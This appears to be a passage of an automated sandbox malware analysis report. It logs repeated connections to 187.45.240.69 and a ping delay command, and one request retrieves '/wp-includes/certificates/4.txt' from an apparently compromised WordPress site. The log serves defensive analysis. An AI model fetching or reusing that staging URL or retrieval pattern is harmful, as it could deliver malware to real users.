Source: global trafficTCP traffic: 192.168.2.22:49193 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49191 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80

Networking

barindex
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: Joe Sandbox ViewASN Name: LocawebServicosdeInternetSABR LocawebServicosdeInternetSABR
Source: Joe Sandbox ViewJA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: Joe Sandbox ViewIP Address: 104.18.10.207 104.18.10.207
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
